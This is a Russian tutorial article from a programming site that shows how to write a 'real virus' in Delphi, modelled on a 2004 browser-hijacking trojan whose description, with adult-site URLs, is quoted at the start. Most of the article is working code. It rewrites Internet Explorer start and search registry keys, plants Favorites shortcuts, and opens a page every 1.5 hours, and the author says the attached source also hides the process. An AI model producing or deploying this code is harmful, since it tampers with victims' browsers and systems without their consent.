TYRANNYSOFT
Воскресенье, 2024-09-08, 4:21 AM



Приветствую Вас Гость | RSS
[ Главная страница ] [ Каталог статей ] [ Регистрация ] [ Вход ]
Меню сайта

Категории каталога
Delphi [11]

Наш опрос
Что бы вы хотели видеть на сайте?

Результаты · Архив опросов

Всего ответов: 160

Начало » Статьи » Программирование » Delphi

Пишем реальный вирус
Салют! Сегодня мы с тобой напишем один очень простой вирус, который был реально кем-то создан. Я в принципе и за вирус его то не считаю, но все-таки.… Для практики. Для начала немного истории…

Вот что появилось на сайте www.securitylab.ru 26 октября 2004 года…

26 октября 2004
Trojan.Win32.StartPage.bh
Троянская программа для Windows. Написана на языке Delphi. Файл программы имеет размер около 20КБ.
"Троянец" не пытается устанавливать себя в операционную систему или менять название своего файла, поэтому название процесса в памяти соответствует имени исполнительного файла самого "троянца".
Программа прописывает URL http://teen-biz.com/ в следующие ключи системного реестра:
[HKCU\Software\Microsoft\Internet Explorer\Main\Start Page]
[HKCU\Software\Microsoft\Internet Explorer\Main\Use Search Asst]
[HKCU\Software\Microsoft\Internet Explorer\Main\Search Page]
[HKCU\Software\Microsoft\Internet Explorer\Main\Search Bar]
[HKCU\Software\Microsoft\Internet Explorer\SearchURL]
[HKCU\Software\Microsoft\Internet Explorer\SearchURL\provide]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Search\SearchAssistant]
Кроме того, программа создает в папке Favorites ("Избранное") следующие ссылки:
Quality Galleries 50 000 freepics and movie.url
http://www.terra.es/personal8/banners1/

WOW VIDEOS AND PICS -- REALLY HARDCORE VIDEOS.url
http://www.terra.es/personal8/banners2

Series Hardcore Pic Sets and Movies.url
http://fujit.drocherway.com/cgi-bin/r.cgi?from=2

Elite Teen Sites - Adult portal The Best TEEN SITES.url
http://eliteteensites.com/

Elite Mature Sites - Adult portal The Best Mature Sites.url
http://elitematuresites.com/

FULL COLLECTION DIRTY PORNO.url
http://teen-biz.com/

Young Teen Fucking Great Lo Archives.url
http://toteen.com/cgi-bin/tds/in.cgi?outgo
Примерно каждые 1,5 часа троянская программа открывает в браузере следующую страницу:
http://toteen.com/cgi-bin/tds/in.cgi?outgo

Немного для вируса, правда? Правда может быть чего-нибудь будет после перехода по ссылке… Скрипт какой-то…

Ну давай напишем…. Троянскую программу на языке дельфина.. :-D

Создавай новый проект и удаляй его форму. Делается это так: Проект –> Удалить из проекта. Сохранись. Теперь смотрим исходник проекта (Проект –> Показать исходник).

Ты увидишь вот что:

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

Оставляй вот так:

program Project1;

uses
Windows, registry, ShellAPI;

var

begin

END.

Это будет наша основная форма. Теперь давай по порядку. Сначала шалим в реестре :

Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_Current_User;

Reg.OpenKey('Software\Microsoft\Internet Explorer\Main',true);
Reg.WriteString('Start Page','http://hh-team.h14.ru/');
Reg.WriteString('Use Search Asst','http://hh-team.h14.ru/');
Reg.WriteString('Search Page','http://hh-team.h14.ru/');
Reg.WriteString('Search Bar','http://hh-team.h14.ru/');
Reg.CloseKey;

Reg.OpenKey('Software\Microsoft\Internet Explorer',true);
Reg.WriteString('SearchURL','http://hh-team.h14.ru/');
Reg.CloseKey;

Reg.OpenKey('Software\Microsoft\Internet Explorer\SearchURL',true);
Reg.WriteString('provide','http://hh-team.h14.ru/');
Reg.CloseKey;

Reg.OpenKey('Software\Microsoft\Internet Explorer\Search',true);
Reg.WriteString('SearchAssistant','http://hh-team.h14.ru/');
Reg.CloseKey;

Не забудь объявить переменную Reg в списке переменных:

Var Reg:TRegistry;

Разберем написанный выше код. Сначала мы создаем переменную реестра и указываем ей основной ключ.

Далее по очереди открываем ключ, пишем переменную, закрываем ключ. Трудно, правда? =)

Так-с… Вот! Добавляем ссылки в Избранное:

Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',true);

AssignFile(f, Reg.ReadString('Favorites') + '/VR-Online.url');
Rewrite(f);
Writeln(f,'[InternetShortcut]');
Writeln(f,'URL=http://www.vr-online.ru');
Close(f);

AssignFile(f, Reg.ReadString('Favorites') + '/Лучший русский чат.url');
Rewrite(f);
Writeln(f,'[InternetShortcut]');
Writeln(f,'URL=http://8u.ru');
Close(f);

AssignFile(f, Reg.ReadString('Favorites') + '/HH-Team.url');
Rewrite(f);
Writeln(f,'[InternetShortcut]');
Writeln(f,'URL=http://hh-team.h14.ru');
Close(f);

Разбираем код:

В первой строчке кода мы открываем ключ реестра, чтобы найти папку “Избранное”

Далее создаем в ней несколько сайтов, правда там порнушки нет. Ну мы как-нибудь без этого… *)

Ну вот и все… Ой! Извиняюсь! Забыл строчку с открытием страницы.

Не просек как-то.. =(

Для начала создадим процедуру открытия Инет-документа в целом:

procedure OpenURL(Url: string);
var
ts: string;
begin
with TRegistry.Create do
try
rootkey := HKEY_CLASSES_ROOT;
OpenKey('\htmlfile\shell\open\command', False);
try
ts := ReadString('');
except
ts := '';
end;
CloseKey;
finally
Free;
end;
if ts = '' then Exit;

ts := Copy(ts, Pos('"', ts) + 1, Length(ts));
ts := Copy(ts, 1, Pos('"', ts) - 1);
ShellExecute(0, 'open', PChar(ts), PChar(url), nil, SW_Maximize);
end;

Описывать я ее не буду, неохота, нудно и долго.. *)

Вставляем код:

for i:=0 to 99 do
begin
sleep(5400000); // Это где-то 1.5 часа (в миллисекундах)
OpenUrl('about:blank');
end;

Только открываться будет пустая страница, трафик жалко… *)

Вот и весь вирус. Исходник прилагается.

Да! Чуть не забыл! В Виде бонуса, мы еще скроем процесс. В общем смотри исходник…

Теперь действительно все! Мы создали супер-мега-страшный вирус под названием “неудачный прикол”

C Уважением, *****RockeR*****

Источник: http://www.vr-online.ru/

Категория: Delphi | Добавил: Max (2006-11-26) | Автор: *****RockeR*****
Просмотров: 1670 | Комментарии: 1 | Рейтинг: 0.0

Всего комментариев: 1
1 Caber  
0
вирус на мой взгляд просто никакой, разве что для девочки, не более,

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа

Поиск по каталогу

Друзья сайта

Статистика
Rambler's Top100
Сейчас на сайте:
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Copyright © 2004-2007 TYRANNYSOFT.